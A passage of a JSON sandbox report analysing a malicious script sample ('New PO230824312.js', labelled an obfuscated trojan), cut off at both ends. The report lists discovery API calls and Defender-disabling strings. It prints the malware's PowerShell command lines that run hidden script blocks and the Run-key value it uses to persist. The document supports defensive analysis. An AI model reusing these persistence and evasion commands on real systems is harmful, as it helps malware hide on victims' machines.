files","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000412)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00000412)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00000412)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00000412)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"25d4cd55870\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$42","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000412.00000000.122181.9A3E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Searches for patterns in files","description":"Process \"findstr.exe\" with commandline \"findstr /c:\"&rem HRQFRTZEQZI\" \"C:\\\\NewPO230824312.js.bat\"\" (UID: 00000000-00003920)\n Process \"findstr.exe\" with commandline \"findstr /c:\"&rem XQCYS\" \"C:\\\\NewPO230824312.js.bat\"\" (UID: 00000000-00007228)\n Process \"findstr.exe\" with commandline \"findstr /c:\"&rem NRIQZEVLM\" \"C:\\\\NewPO230824312.js.bat\"\" (UID: 00000000-00002260)\n Process \"findstr.exe\" with commandline \"findstr /c:\"&rem KAAREKNHXD\" \"C:\\\\NewPO230824312.js.bat\"\" (UID: 00000000-00007444)\n Process \"findstr.exe\" with commandline \"findstr /c:\"&rem LMXEWQDMDBHGLT\" \"C:\\\\NewPO230824312.js.bat\"\" (UID: 00000000-00004216)\n Process \"findstr.exe\" with commandline \"findstr /c:\"&rem IBTMKMFJF\" \"C:\\\\NewPO230824312.js.bat\"\" (UID: 00000000-00005096)","origin":"Monitored Target","mitre_attack_id":"T1083","relevance":3,"id":"target-244","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001708)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00000412)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000412.00000000.122181.26DA0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001708.00000000.121766.36350000.00000004.mdmp, 00000000-00001708.00000001.122279.36350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$43","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"chrome.exe\" opened \"\\Device\\KsecDD\"\n \"msedge.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$45","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"imm_compose_XMRVLCRBh.cmd\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose_XMRVLCRBh.cmd]- [targetUID: 00000000-00008040]\n Dropped file: \"imm_compose.cfg\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose.cfg]- [targetUID: 00000000-00008040]\n Dropped file: \"KO3YYMRSPCNWAGYXECBG.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\KO3YYMRSPCNWAGYXECBG.temp]- [targetUID: 00000000-00008040]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000412]\n Dropped file: \"imm_compose_OQPMGLCI.cmd\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose_OQPMGLCI.cmd]- [targetUID: 00000000-00008040]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"msedge.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4132)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\cmd.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\findstr.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/26 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"Process \"chrome.exe\" with commandline \"--type=crashpad-handler --user-data-dir=%TEMP%\\\\fx1ihedi.55i /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\\\fx1ihedi.55i\\\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0xc4,0xc8,0xcc,0xa0,0xd0,0x7ffb02530068,0x7ffb02530074,0x7ffb02530080\" (UID: 00000000-00002684)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"FONTINDEXSYNC_NTDU\"; Value: \"%WINDIR%\\System32\\conhost.exe --headless -- %WINDIR%\\System32\\cmd.exe /c call \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose_XMRVLCRBh.cmd\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - PowerShell with Base64 encoding","description":"YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00008040\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-35","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000412)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00000412)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a54vlmsi.myt.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a1v3dsxq.rvj.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4jlz0bo2.lan.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fidxucdf.l5v.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1d225f.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vefi2iku.l2t.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_g3vm5h1w.0iw.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a54vlmsi.myt.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a1v3dsxq.rvj.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4jlz0bo2.lan.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fidxucdf.l5v.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Attempts to execute a file with double extensions","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1036.007","relevance":7,"id":"target-607","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a file that contains system information","description":"\"imm_compose_XMRVLCRBh.cmd\" contains indicator \"HAPUBWS\" (Line: 2; Offset: 23)\n \"imm_compose_XMRVLCRBh.cmd\" contains indicator \"HAPUBWS\" (Line: 3; Offset: 134)","origin":"Binary File","mitre_attack_id":"T1005","relevance":3,"id":"binary-58","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)","description":"\"imm_compose_XMRVLCRBh.cmd\" contains indicator \"Win32_Process\" (Line: 3; Offset: 2433)","origin":"Binary File","mitre_attack_id":"T1105","relevance":8,"id":"binary-4","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Executes powershell accessing native variables","description":"Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"\" (Indicator: \"$executioncontext\", UID: 00000000-00001708)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"\" (Indicator: \"$executioncontext\", UID: 00000000-00000412)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"\" (Indicator: \"$executioncontext\", UID: 00000000-00008040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":10,"id":"target-55","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}],"incidents":[{"name":"Persistence","details_count":3,"details":[{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}],"intel_graph":{"map":{"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f":{"type":"File","value":"0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f"},"File:1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33":{"type":"File","value":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33"},"File:933dd749b055f5c83d4f11fb3f187b843043987994dbb65074b8c812834ec8fb":{"type":"File","value":"933dd749b055f5c83d4f11fb3f187b843043987994dbb65074b8c812834ec8fb"},"File:a35c10e9b78043998c1ef3727f6b3289f14018114acaa8a6a57e0017d0597014":{"type":"File","value":"a35c10e9b78043998c1ef3727f6b3289f14018114acaa8a6a57e0017d0597014"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"}},"chains":[{"id":"sandbox_files","root":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","edges":[{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f"},{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:a35c10e9b78043998c1ef3727f6b3289f14018114acaa8a6a57e0017d0597014"},{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:933dd749b055f5c83d4f11fb3f187b843043987994dbb65074b8c812834ec8fb"},{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f"},{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33"},{"edge_kind":"extracted","from_key":"File:0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","to_key":"File:1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":32,"spawned_processes_count":32,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":15,"imported_dlls_count":153,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":31,"files_deleted_count":0,"registry_keys_created_count":33,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":33,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6aaa98cd2aaaafe64502592d","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":76,"malware_family":"Obfuscated.CQ trojan","submit_name":"New PO230824312.js","analysis_start_time":"2026-09-16T13:25:34+00:00","indicators_count":{"informative":147,"suspicious":31,"malicious":1},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}],"processes":[{"pid":5420,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\NewPO230824312.js.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00005420","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":7724,"ppid":5420,"name":"cmd.exe","command_line":"/c findstr /c:\"&rem HRQFRTZEQZI\" 